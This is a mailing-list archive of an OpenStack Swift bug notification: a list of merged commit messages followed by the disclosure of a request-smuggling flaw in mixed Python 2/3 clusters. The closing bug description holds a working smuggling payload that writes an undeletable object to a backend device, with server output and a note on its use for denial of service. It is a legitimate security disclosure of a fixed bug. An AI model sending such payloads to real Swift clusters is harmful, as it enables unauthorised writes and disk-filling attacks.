[Openstack-security] [Bug 1840507] Re: Mixed py2/py3 environment allows authed users to write arbitrary data to the cluster
OpenStack Infra
1840507 at bugs.launchpad.net
Sat Oct 5 05:38:54 UTC 2019
Reviewed: https://review.opendev.org/686864
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=bfa8e9feb51f2b10adfec3a741661a76fcf73216
Submitter: Zuul
Branch: feature/losf
commit cb76e00e90aea834c8f3dd8a6ca5131acd43663b
Author: OpenStack Proposal Bot <openstack-infra at lists.openstack.org>
Date: Fri Oct 4 07:05:07 2019 +0000
Imported Translations from Zanata
For more information about this automatic import see:
https://docs.openstack.org/i18n/latest/reviewing-translation-import.html
Change-Id: I40ce1d36f1c207a0d3e99a3a84a162b21b3c57cf
commit 527a57ffcdefc03a5080b07d63f0ded319e08dfe
Author: OpenStack Release Bot <infra-root at openstack.org>
Date: Thu Oct 3 16:35:36 2019 +0000
Update master for stable/train
Add file to the reno documentation build to show release notes for
stable/train.
Use pbr instruction to increment the minor version number
automatically so that master versions are higher than the versions on
stable/train.
Change-Id: Ia93e0b690f47c6231423a25dfd6a108a60378a21
Sem-Ver: feature
commit 8a4becb12fbe3d4988ddee73536673d6f55682dd
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Sep 27 15:18:59 2019 -0700
Authors/changelog for 2.23.0
Also, make some CHANGELOG formatting more consistent.
Change-Id: I380ee50e075a8676590e755f24a3fd7a7a331029
commit bf9346d88de2aeb06da3b2cde62ffa6200936367
Author: Tim Burke <tim.burke at gmail.com>
Date: Thu Aug 15 14:33:06 2019 -0700
Fix some request-smuggling vectors on py3
A Python 3 bug causes us to abort header parsing in some cases. We
mostly worked around that in the related change, but that was *after*
eventlet used the parsed headers to determine things like message
framing. As a result, a client sending a malformed request (for example,
sending both Content-Length *and* Transfer-Encoding: chunked headers)
might have that request parsed properly and authorized by a proxy-server
running Python 2, but the proxy-to-backend request could get misparsed
if the backend is running Python 3. As a result, the single client
request could be interpretted as multiple requests by an object server,
only the first of which was properly authorized at the proxy.
Now, after we find and parse additional headers that weren't parsed by
Python, fix up eventlet's wsgi.input to reflect the message framing we
expect given the complete set of headers. As an added precaution, if the
client included Transfer-Encoding: chunked *and* a Content-Length,
ensure that the Content-Length is not forwarded to the backend.
Change-Id: I70c125df70b2a703de44662adc66f740cc79c7a9
Related-Change: I0f03c211f35a9a49e047a5718a9907b515ca88d7
Closes-Bug: 1840507
commit 0217b12b6d7d6f3727a54db65614ff1ef52d6286
Author: Matthew Oliver <matt at oliver.net.au>
Date: Wed Sep 4 14:30:33 2019 +1000
PDF Documentation Build tox target
This patch adds a `pdf-docs` tox target that will build
PDF versions of our docs. As per the Train community goal:
https://governance.openstack.org/tc/goals/selected/train/pdf-doc-generation.html
Add sphinxcontrib-svg2pdfconverter to doc/requirements.txt
to convert our SVGs.
Story: 2006122
Task: 35515
Change-Id: I26cefda80d3234df68d7152b404e0a71da74ab90
commit be41721888913320bd448b8aaa4539f3ac6d4e7c
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Sep 27 16:18:00 2019 -0700
Add experimental job to test upgrades from stein
Also, correct the version that we check out when upgrading from stable
branches.
Change-Id: Ie733bc50466c66d6e6eb5c6bd42e42a05ef88798
commit 9a33365f064c2fbde732780982e3d324b488e677
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Sep 27 11:04:43 2019 -0700
py3: Allow percentages in configs
Previously, configs like
fallocate_reserve = 1%
would cause a py3 backend server to fail to start, complaining like
configparser.InterpolationSyntaxError: Error in file
/etc/swift/object-server/1.conf.d: '%' must be followed
by '%' or '(', found: '%'
This could also come up in proxy-server configs, with things like
percent signs in tempauth password.
In general, we haven't really thought much about interpolation in
configs. Python's default ConfigParser has always supported it, though,
so we got it "for free". On py2, we didn't really have to think about
it, since values like "1%" would pass through just fine. (It would blow
up a SafeConfigParser, but a normal ConfigParser only does replacements
when there's something like a "%(opt)s" in the value.)
On py3, SafeConfigParser became ConfigParser, and the old interpolation
mode (AFAICT) doesn't exist.
Unfortunatley, since we "supported" interpolation, we have to assume
there are deployments in the wild that use it, and try not to break
them. So, do what we can to mimic the py2 behavior.
Change-Id: I0f9cecd11f00b522a8486972551cb30af151ce32
Closes-Bug: #1844368
commit ad7f7da32d6f90aa49873f1021d18cd54daef102
Author: Tim Burke <tim.burke at gmail.com>
Date: Mon Aug 5 14:51:14 2019 -0700
py3: decode stdout from backgrounded servers
Otherwise, when we go to print() it, we get a bunch of b"" strings.
Change-Id: If62da0b4b34b9d1396b5838bf79ff494679f1ae3
commit e9cd9f74a5264f396783ca2a4548a3da7cee7bff
Author: Matthew Oliver <matt at oliver.net.au>
Date: Mon Aug 12 16:16:17 2019 +1000
sharder: Keep cleaving on empty shard ranges
When a container is being cleaved there is a possiblity that we're
dealing with an empty or near empty container created on a handoff node.
These containers may have a valid list of shard ranges, so would need
to cleave to the new shards.
Currently, when using a `cleave_batch_size` that is smaller then the
number of shard ranges on the cleaving container, these containers will
have to take a few shard passes to shard, even though there maybe
nothing in them.
This is worse if a really large container is sharding, and due to being
slow, error limitted a node causing a new container on a handoff
location. This empty container would have a large number of shard ranges
and could take a _very_ long time to shard away, slowing the process
down.
This patch eliminates the issue by detecting when no objects are
returned for a shard range. The `_cleave_shard_range` method now
returns 3 possible results:
- CLEAVE_SUCCESS
- CLEAVE_FAILED
- CLEAVE_EMPTY
They all are pretty self explanitory. When `CLEAVE_EMPTY` is returned
the code will:
- Log
- Not replicate the empty temp shard container sitting in a
handoff location
- Not count the shard range in the `cleave_batch_size` count
- Update the cleaving context so sharding can move forward
If there already is a shard range DB existing on a handoff node to use
then the sharder wont skip it, even if there are no objects, it'll
replicate it and treat it as normal, including using a `cleave_batch_size`
slot.
Change-Id: Id338f6c3187f93454bcdf025a32a073284a4a159
Closes-Bug: #1839355
commit f56071e57392573b7aea014bba6757a01a8a59ad
Author: Clay Gerrard <clay.gerrard at gmail.com>
Date: Wed Sep 25 15:58:50 2019 -0500
Make sharding methods with only one job
Change-Id: Id1e9a9ee316517923907bf0593e851448528c75c
commit 50255de0e3def868e958bfdf4aea9f4cc606e744
Author: Tim Burke <tim.burke at gmail.com>
Date: Mon Sep 23 16:21:36 2019 -0700
func tests: Add more UTF8 tests for versioning
Change-Id: I7ac111bd8b57bd21c37f4c567a20e2c12957b2ff
commit 6271d88f9ed5e98f989a6739a75b268537fe0521
Author: Thiago da Silva <thiagodasilva at gmail.com>
Date: Fri Aug 23 19:14:37 2019 +0200
Add func test for changing versionining modes
Users are able to change versioning in a container
from X-Versions-Location to X-History-Location, which affects
how DELETEs are handled. We have some unit tests that check this
behavior, but no functional tests.
This patch adds a functional test that helps us understand and
document how changing modes affects the handling of DELETE
requests.
Change-Id: I5dbe5bdca17e624963cb3a3daba3b240cbb4bec4
commit 9495bc0003817805750dd78f3d93dd1a237f1553
Author: Tim Burke <tim.burke at gmail.com>
Date: Thu Sep 19 16:52:41 2019 -0700
sharding: Update probe test to verify CleavingContext cleanup
Change-Id: I219bbbfd6a3c7adcaf73f3ee14d71aadd183633b
Related-Change: I1e502c328be16fca5f1cca2186b27a0545fecc16
commit 370ac4cd70489a49b2b6408638c9b35006f57053
Author: Matthew Oliver <matt at oliver.net.au>
Date: Sat Sep 21 16:06:24 2019 +1000
Sharding: Use the metadata timestamp as last_modified
This is a follow up patch from the cleaning up cleave context's patch
(patch 681970). Instead of tracking a last_modified timestamp, and storing
it in the context metadata, use the timestamp we use when storing any
metadata.
Reducing duplication is nice, but there's a more significant reason to
do this: affected container DBs can start getting cleaned up as soon as
they're running the new code rather than needing to wait for an
additional reclaim_age.
Change-Id: I2cdbe11f06ffb5574e573c4a60ba4e5d41a00c50
commit 291873e784aeac30c2adcaaaca6ab43c2393b289
Author: Tim Burke <tim.burke at gmail.com>
Date: Thu Aug 15 14:33:06 2019 -0700
proxy: Don't trust Content-Length for chunked transfers
Previously we'd
- complain that a client disconnected even though they finished their
chunked transfer just fine, and
- on EC, send a X-Backend-Obj-Content-Length for pre-allocation even
though Content-Length doesn't determine request body size.
Change-Id: Ia80e595f713695cbb41dab575963f2cb9bebfa09
Related-Bug: 1840507
commit 81a41da5420313f9cdb9c759bbb0f46c0d20c5af
Author: Matthew Oliver <matt at oliver.net.au>
Date: Fri Sep 13 16:16:06 2019 +1000
Sharding: Clean up old CleaveConext's during audit
There is a sharding edge case where more CleaveContext are generated and
stored in the sharding container DB. If this number get's high enough,
like in the linked bug. If enough CleaveContects build up in the DB then
this can lead to the 503's when attempting to list the container due to
all the `X-Container-Sysmeta-Shard-Context-*` headers.
This patch resolves this by tracking the a CleaveContext's last
modified. And during the sharding audit, any context's that hasn't been
touched after reclaim_age are deleted.
This plus the skip empty ranges patches should improve these handoff
shards.
Change-Id: I1e502c328be16fca5f1cca2186b27a0545fecc16
Closes-Bug: #1843313
commit 20fc16e8daa184ebadab9f49e0f76e7687a8cebd
Author: Thiago da Silva <thiagodasilva at gmail.com>
Date: Tue Sep 17 18:57:35 2019 +0200
Close leaking opened requests
Change-Id: I3d96022c01834c85e9795ea41d18b17624a33a19
Co-Authored-By: Tim Burke <tim.burke at gmail.com>
commit 9698b1bb957c1f646ac30fb64ec3528627fcee1c
Author: Thiago da Silva <thiagodasilva at gmail.com>
Date: Tue Sep 17 16:52:55 2019 +0200
Skip test when object versioning is not enabled
Change-Id: I671a6e4a3d1011dbbc2267b44134cfaf3380fb22
commit 75c9c636f2c637b0f36c705957f2204de6e405d0
Author: Ghanshyam Mann <gmann at ghanshyammann.com>
Date: Tue Sep 17 04:47:45 2019 +0000
[train][goal] Run 'tempest-ipv6-only' job in gate
As part of Train community goal 'Support IPv6-Only Deployments and Testing'[1],
Tempest has defined the new job 'tempest-ipv6-only'(adding
in Depends-On patch) which will deploy services on IPv6 and run smoke
tests and IPv6 related tests present in Tempest.
This job will be part of Nova, Neutron, Cinder, Keystone, Glance, Swift
gate.
Verification structure will be:
- 'devstack-IPv6' deploy the service on IPv6
- 'devstack-tempest-ipv6' run will verify the IPv6-only setting and listen address
- 'tempest-ipv6-only' will run the smoke + IPv6 related test case.
This commit adds the new job 'tempest-ipv6-only' run on gate.
Story: #2005477
Task: #35932
[1] https://governance.openstack.org/tc/goals/train/ipv6-support-and-testing.html
Change-Id: I78be2ee5a7f1e5d3188ece98d7d8324f1c9bd0e3
commit b4288b4aa6e6be2222f5f0e9ca8360c07040d5c0
Author: Nguyen Quoc Viet <nguyenqviet98 at gmail.com>
Date: Thu Sep 12 11:31:42 2019 +0700
versioned_writes: checks for SLO object before copy
Previously, versioned_writes middleware copy an already existing
object using PUT. However, SLO requires the additional query
to properly update the object size when listing.
Propose fix: In _put_versioned_obj - which is called when on
creating version obj and also on restoring obj,
if 'X-Object-Sysmeta-Slo-Size' header is present it will
add needed headers for container to update obj size
Added a new functional test case with size assertion for slo
Change-Id: I47e0663e67daea8f1cf4eaf3c47e7c8429fd81bc
Closes-Bug: #1840322
commit db8b0b6bc46a67b03af415d4e5e1429cc7d73bba
Author: Clay Gerrard <clay.gerrard at gmail.com>
Date: Fri May 10 13:15:42 2019 -0500
Make ceph tests more portable
Change-Id: If93325f2651a02f98f9d480c10bf7b849cc9617e
commit 3960df983b68cd5baa84cac9a4d0b61f08737c09
Author: Andreas Jaeger <aj at suse.com>
Date: Fri Sep 13 09:38:22 2019 +0200
Remove unneeded Zuul branch matcher
We have implicit branch matchers, so there's no need to add a check
for not-ocata etc, a job is only run for the branch it's on - like
master now.
Remove it to not confuse Zuul when multiple branches matches and the job
definition is different.
Change-Id: I6a346c9141aad1aa8a7393c899d5571057073e7a
commit 49f62f6ab7fd1b833e9b5bfbcaafa4b45b592d34
Author: Tim Burke <tim.burke at gmail.com>
Date: Thu Sep 12 10:59:08 2019 -0700
bufferedhttp: ensure query params are properly quoted
Recent versions of py27 [1] have begun raising InvalidURL if you try to
include non-ASCII characters in the request path. This was observed
recently in the periodic checks of stable/ocata and stable/pike. In
particular, we would spin up some in-process servers in
test.unit.proxy.test_server.TestSocketObjectVersions and do a container
listing with a prefix param that included raw (unquoted) UTF-8. This
query string would pass unmolested through the proxy, tripping the
InvalidURL error when bufferedhttp called putrequest.
More recent versions of Swift would not exhibit this particular failure,
as the listing_formats middleware would force a decoding/re-encoding of
the query string for account and container requests. However, object
requests with errant query strings would likely be able to trip the same
error.
Swift on py3 should not exhibit this behavior, as we so
thoroughly re-write the request line to avoid hitting
https://bugs.python.org/issue33973.
Now, always parse and re-encode the query string in bufferedhttp. This
prevents any errors on object requests and cleans up any callers that
might use bufferedhttp directly.
[1] Anything after https://github.com/python/cpython/commit/bb8071a;
see https://bugs.python.org/issue30458
Closes-Bug: 1843816
Change-Id: I73f84b96f164e6fc5d3cb890355871c26ed271a6
Related-Change: Id3ce37aa0402e2d8dd5784ce329d7cb4fbaf700d
Related-Change: Ie648f5c04d4415f3b620fb196fa567ce7575d522
commit 1ded0d6c8793ca3eca573c098cef78b5ae41f080
Author: Tim Burke <tim.burke at gmail.com>
Date: Thu Oct 11 15:23:39 2018 -0700
Allow arbitrary UTF-8 strings as delimiters in listings
AWS seems to support this, so let's allow s3api to do it, too.
Previously, S3 clients trying to use multi-character delimiters would
get 500s back, because s3api didn't know how to handle the 412s that the
container server would send.
As long as we're adding support for container listings, may as well do
it for accounts, too.
Change-Id: I62032ddd50a3493b8b99a40fb48d840ac763d0e7
Co-Authored-By: Thiago da Silva <thiagodasilva at gmail.com>
Closes-Bug: #1797305
commit 4cafc3d656098d13c46cd83d94b44c8801c5eb2b
Author: CY Chiang <cychiang at cht.com.tw>
Date: Thu Sep 5 16:09:23 2019 +0800
doc: Fix the swift middleware doc needs more info to set s3 api
Modify the AWS S3 Api section in middleware document.
Add how to create ec2 credential and minimun configuration to use
s3 api.
Change-Id: Id4d614d8297662f16403fdfe526e14714a21249d
Closes-Bug: #1842884
commit 1d7e1558b3b422073918b89df21f703215bd1e33
Author: Tim Burke <tim.burke at gmail.com>
Date: Tue Jul 16 17:01:19 2019 -0700
py3: (mostly) port probe tests
There's still one problem, though: since swiftclient on py3 doesn't
support non-ASCII characters in metadata names, none of the tests in
TestReconstructorRebuildUTF8 will pass.
Change-Id: I4ec879ade534e09c3a625414d8aa1f16fd600fa4
commit c71bb2506310438b011818a44449daea500863fd
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Aug 30 21:40:03 2019 -0700
diskfile: Add some argument validation
Either all or none of account, container, and object should be provided.
If we get some but not all, that's indicating some kind of a coding bug;
there's a chance it may be benign, but it seems safer to fail early and
loudly.
Change-Id: Ia9a0ac28bde4b5dcbf6e979c131e61297577c120
Related-Change: Ic2e29474505426dea77e178bf94d891f150d851b
commit e6e31410e093b426bfa5b9a2094be56c8406b6a2
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Aug 30 11:54:47 2019 -0700
Find .d pid files with swift-orphans
Change-Id: I7a2f19862817abf15e51463bd124293730451602
commit 3e4efb7aa4662a5f915caab5bef3de6dd17e3e19
Author: Tim Burke <tim.burke at gmail.com>
Date: Thu Aug 29 16:55:27 2019 -0700
py3: Update Getting Started docs
Change-Id: I94050c40585b397a9f7bab1e48650b89f70ab24d
commit 4d83b9b95e32038390dbdc66d93c36c929dbce2a
Author: Tim Burke <tim.burke at gmail.com>
Date: Thu Aug 15 14:33:06 2019 -0700
tests/py3: Improve header casing
Previously, our unit tests with socket servers would let eventlet
capitalize headers on the way out, which
- isn't something we want to have eventlet do, because it
- breaks unicode-in-header-names on py3, so it
- is already disabled in swift.common.wsgi.run_server() for real servers.
Include a test to make sure we don't forget about it in the future.
Change-Id: I0156d0059092ed414b296c65fb70fc18533b074a
commit a32fb30c16062ea64488e918077d635645e33e47
Author: Ondřej Nový <ondrej.novy at firma.seznam.cz>
Date: Mon Aug 20 10:11:15 2018 +0200
Use SOURCE_DATE_EPOCH in docs to make build reproducible
Set copyright year and html_last_updated_fmt to SOURCE_DATE_EPOCH if
it's set. See https://reproducible-builds.org/specs/source-date-epoch/
This patch make build reproducible, see https://reproducible-builds.org/
Change-Id: I730a8265ca2c70c639ef77a613908e84eb738b70
commit 2545372055922abd681ef665f9040590d2f5806c
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Aug 16 20:37:10 2019 -0700
py3: Switch swift-dsvm-functional-py3 to run tests under py3
Now that all of the func tests are ported, we may as well run all-py3.
Change-Id: Ib9f75ca9efb46dc4c7730ad2718228ec7777c924
commit 74db3670607d952e597011eb07676aedff521b41
Author: Tim Burke <tim.burke at gmail.com>
Date: Wed Aug 7 16:16:57 2019 -0700
py3: Finish porting func tests
We were (indirectly) importing swiftclient (and therefore requests and
urllib3) before doing our eventlet monkey-patching. This would lead
boto3 (which digs an SSLContext out of urllib3) to trip RecursionErrors
on py3 similar to
>>> from ssl import SSLContext, PROTOCOL_SSLv23
>>> import eventlet
>>> eventlet.monkey_patch(socket=True)
>>> SSLContext(PROTOCOL_SSLv23).options |= 0
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.6/ssl.py", line 465, in options
super(SSLContext, SSLContext).options.__set__(self, value)
File "/usr/lib/python3.6/ssl.py", line 465, in options
super(SSLContext, SSLContext).options.__set__(self, value)
File "/usr/lib/python3.6/ssl.py", line 465, in options
super(SSLContext, SSLContext).options.__set__(self, value)
[Previous line repeated 330 more times]
RecursionError: maximum recursion depth exceeded while calling a Python object
Change-Id: I4bb59edd87336597791416c4f2a096efe0e72fe3
commit 3750285bc863f8b6b56ba9526b028ee9cddcf04b
Author: Tim Burke <tim.burke at gmail.com>
Date: Tue Jul 16 16:24:14 2019 -0700
py3: fix up listings on sharded containers
We were playing a little fast & loose with types before; as a result,
marker/end_marker weren't quite working right. In particular, we were
checking whether a WSGI string was contained in a shard range, while
ShardRange assumes all comparisons are against native strings.
Now, get everything to native strings before making comparisons, and
get them back to wsgi when we shove them in the params dict.
Change-Id: Iddf9e089ef95dc709ab76dc58952a776246991fd
commit a48dd1950d2999cb7fdc2856a827da4780715b1e
Author: Tim Burke <tim.burke at gmail.com>
Date: Mon Aug 5 14:48:54 2019 -0700
Allow non-default domain to be used in func tests
Change-Id: I7afa7e367103bb9caaf74788a49cd055eca53cf6
commit f1b44b199a064c3715c4b0e1e4067ec8235cf18d
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Mar 29 13:54:30 2019 -0700
s3api: paginate listings when aborting MPUs
Even when your cluster's configured funny, like your
container_listing_limit is too low, or your max_manifest_segments and
max_upload_part_num are too high, an abort should (attempt to) clean up
*all* segments.
Change-Id: I5a57f919cc74ddb08bbb35a7d852fbc1457185e8
commit c0035ed82e52756c9c04097fabba561a86da200a
Author: CY Chiang <cychiang at cht.com.tw>
Date: Tue Jul 30 11:42:45 2019 +0800
Update the bandit.yaml available tests list
According to the bandit current version document,
the B109 and B111 plugin has been removed.
And Add the following tests:
Complete Test Plugin Listing: B507, B610, B611, B703
Blacklist Plugins Listing: B322, B323, B325, B413, B414
Reference URL: https://bandit.readthedocs.io/en/latest/plugins/index.html
Change-Id: I5e9365f9147776d7d90c6ba889acbde3c0e6c19d
Closes-Bug: #1838361
commit 6853616aeaa7a6b14fd1ae99a507ab1761d16609
Author: Tim Burke <tim.burke at gmail.com>
Date: Fri Jul 12 15:17:34 2019 -0700
ring: Track more properties of the ring
Plumb the version from the ringbuilder through to the metadata at the
start of the ring. Recover this (if available) when running
swift-ring-builder <ring> write_builder
When we load the ring, track the count and MD5 of the bytes off disk, as
well as the number of uncompressed bytes.
Expose all this new information as properties on the Ring, along with
- device_count (number of non-None entries in self._devs),
- weighted_device_count (number of devices that have weight), and
- assigned_device_count (number of devices that actually have
partition assignments).
Co-Authored-By: Matthew Oliver <matt at oliver.net.au>
Change-Id: I73deaf6f1d9c1d37630c37c02c597b8812592351
commit 0fec28ab155276d099d1d4c9fd377f3da539077b
Author: zhufl <zhu.fanglei at zte.com.cn>
Date: Wed Jul 3 16:41:38 2019 +0800
Fix invalid assert states
This is to fix invalid assert states like:
self.assertTrue('sync_point2: 5', lines.pop().strip())
self.assertTrue('sync_point1: 5', lines.pop().strip())
self.assertTrue('bytes: 1100', lines.pop().strip())
self.assertTrue('deletes: 2', lines.pop().strip())
self.assertTrue('puts: 3', lines.pop().strip())
self.assertTrue('1', jobs_to_delete[0]['partition'])
in which assertEqual should be used.
Change-Id: Ide5af2ae68fae0e5d6eb5c233a24388bb9942144
commit 03512e001d95adadfea147e8a4051fce0aa9dfca
Author: pengyuesheng <pengyuesheng at gohighsec.com>
Date: Wed Jul 3 15:06:31 2019 +0800
Update the constraints url
For more detail, see http://lists.openstack.org/pipermail/openstack-discuss/2019-May/006478.html
Change-Id: I95114c4aa670c07491d5a15db2341f65cb0d1344
commit 5270da86e6eead273f58a24cba65b951550e3037
Author: pengyuesheng <pengyuesheng at gohighsec.com>
Date: Tue Jul 2 10:59:28 2019 +0800
Add python3 to setup.cfg
Change-Id: I5dd57aad794c050c44e328c43346be0063170492
commit 4aa71aa25caed34f36fafe2de025425aa1d1e0b2
Author: Kota Tsuyuzaki <tsuyuzaki.kota at lab.ntt.co.jp>
Date: Tue Oct 9 16:42:18 2018 -0700
We don't have to keep the retrieved token anymore
Since the change in s3_token_middleware to retrieve the auth info
from keystone directly, now, we don't need to have any tokens provided
by keystone in the request header as X-Auth-Token.
Note that this makes the pipeline ordering change documented in the
related changes mandatory, even when working with a v2 Keystone server.
Change-Id: I7c251a758dfc1fedb3fb61e351de305b431afa79
Related-Change: I21e38884a2aefbb94b76c76deccd815f01db7362
Related-Change: Ic9af387b9192f285f0f486e7171eefb23968007e
commit eed76d8bed446518bff2ca4af18259f7637c430e
Author: arzhna <arzhna at gmail.com>
Date: Wed Nov 28 11:15:05 2018 +0900
Fix a potential bug
In the class method from_hash_dir(), the arguments to input when creating an instance of the BaseDiskFile class are incorrect.
The __init__() method of BaseDiskFile class receive the arguments in order of mgr, device_path, partition and etc.
However, in from_hash_dir() method, the order of arguments are mgr, device_path, None and partition
The class method from_hash_dir() is used by the Object Auditor.
If the partition argument is used in the new DiskFile implementations, exception may occur.
It will be cause object auditing to failed and the object will be quarantine by the Object Auditor.
Closes-Bug: #1805539
Change-Id: Ic2e29474505426dea77e178bf94d891f150d851b
** Tags added: in-feature-losf
** Bug watch added: Python Roundup #33973
http://bugs.python.org/issue33973
** Bug watch added: Python Roundup #30458
http://bugs.python.org/issue30458
--
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1840507
Title:
Mixed py2/py3 environment allows authed users to write arbitrary data
to the cluster
Status in OpenStack Security Advisory:
Won't Fix
Status in OpenStack Object Storage (swift):
Fix Released
Bug description:
Python 3 doesn't parse headers the same way as python 2 [1]. We
attempt to address this failing [2], but since we're doing it at the
application level, eventlet can still get confused about what should
and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers,
and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is
significant; the above was obtained on my machine with
PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers
up to (and not including, though that doesn't really matter) the palm
tree. Significantly, it sees `Content-Length: 4` (which, per the spec
[3], the proxy-server ignored) and doesn't see either of `Connection:
close` or `Transfer-Encoding: chunked`. The *application* gets all of
the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift
writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
`Connection: close` header, it looks for and processes more requests
on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing
headers, servers should make appropriate adjustments to
environ['wsgi.input'] to ensure that it has all relevant information
about the request body. Second, the proxy should not include a
Content-Length header when sending a chunk-encoded request to the
backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7
To manage notifications about this bug go to:
https://bugs.launchpad.net/ossa/+bug/1840507/+subscriptions
More information about the Openstack-security
mailing list